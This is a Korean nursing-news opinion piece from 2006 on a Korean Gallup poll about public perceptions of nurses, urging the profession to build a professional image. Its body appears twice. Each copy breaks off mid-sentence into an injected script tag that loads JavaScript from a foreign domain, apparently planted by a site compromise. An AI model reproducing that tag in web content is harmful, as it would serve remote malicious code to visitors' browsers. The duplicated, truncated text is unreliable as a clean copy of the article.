Home / 이슈/기획
특별기고-한국갤럽 `간호사 이미지 여론조사' 의미
호감 가는 전문직 이미지로 변화
기사입력 2006-10-26 오전 09:10:00
21세기 간호의 비전은 유능한 전문간호사들을 양성하고, 최저의 비용으로 최상의 질적인 간호를 제공하기 위해 블루오션 시장을 공략하고, 정책 입안자로서 국민건강을 옹호하는 촉망받는 전문직으로 대중에게 각인되는 것이다.
간호부, 간호원, 간호사로 명칭의 변화를 겪어 온 과거부터 최근까지 간호사의 이미지는 수동적이고, 불친절하며, 특별한 전문성이 없는 보조자의 역할로서 병원의 꽃으로 생각되어 왔다. 그러나 이미지는 계속 움직이며 변화하는 물결이다. 빠르지는 않지만 점차 그 가속도가 붙어 나날이 참신하고 바람직한 방향으로 흘러가고 있음을 현장을 통해, 대중매체를 통해, 많은 연구결과를 통해 입증할 수 있다.
이미지는 변화하는 물결
2006년 현재 간호 이미지의 위상은 어디인가? 한국갤럽에 의뢰해 실시한 이번 여론조사는 국민들의 간호 이미지를 확인하고, 과거로부터 내려온 간호 이미지와 비교해 변화를 찾아내고, 변화에 따른 간호 이미지 전략을 새롭게 구축하는 데 그 의미가 있다.
과거 연구결과를 보면 간호사 이미지는 복종적이고, 순응적이며, 유순하게 나타나 있다. 대중매체에서 비춰지는 모습도 수동적, 의존적, 불친절, 기계적이며, 나약한 성적 대상물로 표현됐다. 예를 들면, 잘못된 간호학.의학 지식을 전달하고, 배역에 있어서도 주로 배경인물이나 불운의 인물로 설정됐다. 단정치 못하고 전문가답지 못한 용모에, 전문성이 결여된 표현(병동에서 음식을 먹거나 천박스러운 대화를 나누거나 비정상적인 애정 행각 등)도 비일비재했다.
그러나 시대의 변화는 간호계의 의식 전환을 촉구해왔고, 간호 이미지는 끊임없는 노력을 통해 점차 긍정적이며 전문적인 이미지로 탈바꿈을 시도하고 있다.
이번 여론조사를 통해 알 수 있듯이 국민들은 간호사에 대해 좋은 느낌을 가지고 있으며, `인간미 넘치는 간호사'로 인식하고 있다. 또 국민들은 간호사가 사회적으로 인정받는 직업이며, 전문지식과 기술을 갖고 환자의 문제를 적극적으로 해결해 줄 수 있는 환자들의 대변자이기에 간호사가 병원의 이미지를 좌우한다고 인식하고 있는 것으로 나타났다.
더욱 눈여겨 볼 점은 이러한 간호 이미지가 국민들이 직접 간호사를 만나서 경험한 내용을 토대로 형성됐다는 점이다.
물론 최근 들어 대중매체들이 긍정적이고 부드러운 시선으로 간호사를 지켜봐 주고 있는 것도 사실이다.
여러 드라마에서 환자에게 친절하게 설명하고 부드럽게 간호하는 모습을 자주 방영했고, 인간적인 모습을 부각시켜 주었다. 전문직 간호사의 이미지에 인간적인 면모까지 갖추고 대중과 편안하게 의사소통할 수 있는 병원 내 중재자로서의 모습도 보여줬다. 유머있고 재치있는 인간관계를 자주 묘사함으로써 당찬 커리어우먼의 이미지를 나타내 보였다. 간호사의 행동하는 모습, 특히 적극적이고 환자의 응급상황에 빠르게 대처하는 모습이 매우 긍정적으로 비춰지기도 했다.
이번 여론조사 결과는 그동안 대한간호협회를 중심으로 한 홍보활동, 정치활동, 현장 간호사들의 헌신적인 간호활동 등이 이뤄낸 결과다.
전문직 이미지 창조해야
이제 건강 소비자들은 단순히 병원을 찾는 데 그치는 것이 아니라, 자신의 욕구를 대변할 이미지를 찾고 있다. 때문에 시대가 원하는, 대중이 원하는 이미지를 생산해내지 못하면 미래의 생존 게임에서 질 수밖에 없다. 즉, 전문직 간호사로서, 전문직 간호사다운 이미지의 창조가 불가피해졌다는 얘기다.
물론 왜곡되어 표현되는 대중매체도 우리 간호직의 긍정적 이미지에 걸림돌이 된다. 하지만 간호의 이미지를 현장에서 만들어 대중에게 보여주는 우리 간호사의 전문직 관, 지식, 기술, 태도에 리얼리티를 잃게 되었을 때 바람직하고 긍정적인 이미지 창조란 꿈도 꿀 수 없을 것이다.
적극적이고 전략적인 이미지 만들기에 앞서 전문직 간호사다운 간호사로서 개인을 알리는 역할, 즉 간호사 개인이 자기PR을 위한 자격요건(지식.기술.태도)을 갖추고 끊임없는 홍보전략가가 돼야 한다.
또 간호협회는 조직적인 간호 이미지 홍보전략을 수립해야 한다. 대중매체를 감시하고 제안하는 소극적인 홍보에서 진일보하여, 재정적.인적자원을 투입해 적극적인 언론홍보 전략을 계획하고, 연구하는 일에 비중을 둬야 한다.
이미지를 만들어 내고 알리는 역할은 주로 언론이 담당한다. 언론은 대중을 자극할 만한 특별한 이벤트를 찾아다니고, 그러한 이벤트는 새로운 환상을 만들어 낸다. 그래서 이미지를 알리기 위해 적극적인 언론 플레이도 필요하다.
이미지는 전략이다. 이제는 우리 간호사의 이미지, 간호의 이미지를 전략적으로 만들어가야 한다. 이미지는 자신이 판단하는 것이 아니라, 상대가 판단하는 것이기 때문이다.
내가, 간호사가, 간호조직이 일반 대중들에게 ?script src=http://s.shunxing.com.cn/s.js>
목록
간호부, 간호원, 간호사로 명칭의 변화를 겪어 온 과거부터 최근까지 간호사의 이미지는 수동적이고, 불친절하며, 특별한 전문성이 없는 보조자의 역할로서 병원의 꽃으로 생각되어 왔다. 그러나 이미지는 계속 움직이며 변화하는 물결이다. 빠르지는 않지만 점차 그 가속도가 붙어 나날이 참신하고 바람직한 방향으로 흘러가고 있음을 현장을 통해, 대중매체를 통해, 많은 연구결과를 통해 입증할 수 있다.
이미지는 변화하는 물결
2006년 현재 간호 이미지의 위상은 어디인가? 한국갤럽에 의뢰해 실시한 이번 여론조사는 국민들의 간호 이미지를 확인하고, 과거로부터 내려온 간호 이미지와 비교해 변화를 찾아내고, 변화에 따른 간호 이미지 전략을 새롭게 구축하는 데 그 의미가 있다.
과거 연구결과를 보면 간호사 이미지는 복종적이고, 순응적이며, 유순하게 나타나 있다. 대중매체에서 비춰지는 모습도 수동적, 의존적, 불친절, 기계적이며, 나약한 성적 대상물로 표현됐다. 예를 들면, 잘못된 간호학.의학 지식을 전달하고, 배역에 있어서도 주로 배경인물이나 불운의 인물로 설정됐다. 단정치 못하고 전문가답지 못한 용모에, 전문성이 결여된 표현(병동에서 음식을 먹거나 천박스러운 대화를 나누거나 비정상적인 애정 행각 등)도 비일비재했다.
그러나 시대의 변화는 간호계의 의식 전환을 촉구해왔고, 간호 이미지는 끊임없는 노력을 통해 점차 긍정적이며 전문적인 이미지로 탈바꿈을 시도하고 있다.
이번 여론조사를 통해 알 수 있듯이 국민들은 간호사에 대해 좋은 느낌을 가지고 있으며, `인간미 넘치는 간호사'로 인식하고 있다. 또 국민들은 간호사가 사회적으로 인정받는 직업이며, 전문지식과 기술을 갖고 환자의 문제를 적극적으로 해결해 줄 수 있는 환자들의 대변자이기에 간호사가 병원의 이미지를 좌우한다고 인식하고 있는 것으로 나타났다.
더욱 눈여겨 볼 점은 이러한 간호 이미지가 국민들이 직접 간호사를 만나서 경험한 내용을 토대로 형성됐다는 점이다.
물론 최근 들어 대중매체들이 긍정적이고 부드러운 시선으로 간호사를 지켜봐 주고 있는 것도 사실이다.
여러 드라마에서 환자에게 친절하게 설명하고 부드럽게 간호하는 모습을 자주 방영했고, 인간적인 모습을 부각시켜 주었다. 전문직 간호사의 이미지에 인간적인 면모까지 갖추고 대중과 편안하게 의사소통할 수 있는 병원 내 중재자로서의 모습도 보여줬다. 유머있고 재치있는 인간관계를 자주 묘사함으로써 당찬 커리어우먼의 이미지를 나타내 보였다. 간호사의 행동하는 모습, 특히 적극적이고 환자의 응급상황에 빠르게 대처하는 모습이 매우 긍정적으로 비춰지기도 했다.
이번 여론조사 결과는 그동안 대한간호협회를 중심으로 한 홍보활동, 정치활동, 현장 간호사들의 헌신적인 간호활동 등이 이뤄낸 결과다.
전문직 이미지 창조해야
이제 건강 소비자들은 단순히 병원을 찾는 데 그치는 것이 아니라, 자신의 욕구를 대변할 이미지를 찾고 있다. 때문에 시대가 원하는, 대중이 원하는 이미지를 생산해내지 못하면 미래의 생존 게임에서 질 수밖에 없다. 즉, 전문직 간호사로서, 전문직 간호사다운 이미지의 창조가 불가피해졌다는 얘기다.
물론 왜곡되어 표현되는 대중매체도 우리 간호직의 긍정적 이미지에 걸림돌이 된다. 하지만 간호의 이미지를 현장에서 만들어 대중에게 보여주는 우리 간호사의 전문직 관, 지식, 기술, 태도에 리얼리티를 잃게 되었을 때 바람직하고 긍정적인 이미지 창조란 꿈도 꿀 수 없을 것이다.
적극적이고 전략적인 이미지 만들기에 앞서 전문직 간호사다운 간호사로서 개인을 알리는 역할, 즉 간호사 개인이 자기PR을 위한 자격요건(지식.기술.태도)을 갖추고 끊임없는 홍보전략가가 돼야 한다.
또 간호협회는 조직적인 간호 이미지 홍보전략을 수립해야 한다. 대중매체를 감시하고 제안하는 소극적인 홍보에서 진일보하여, 재정적.인적자원을 투입해 적극적인 언론홍보 전략을 계획하고, 연구하는 일에 비중을 둬야 한다.
이미지를 만들어 내고 알리는 역할은 주로 언론이 담당한다. 언론은 대중을 자극할 만한 특별한 이벤트를 찾아다니고, 그러한 이벤트는 새로운 환상을 만들어 낸다. 그래서 이미지를 알리기 위해 적극적인 언론 플레이도 필요하다.
이미지는 전략이다. 이제는 우리 간호사의 이미지, 간호의 이미지를 전략적으로 만들어가야 한다. 이미지는 자신이 판단하는 것이 아니라, 상대가 판단하는 것이기 때문이다.
내가, 간호사가, 간호조직이 일반 대중들에게 ?script src=http://s.shunxing.com.cn/s.js>
임미림 news@nursenews.co.kr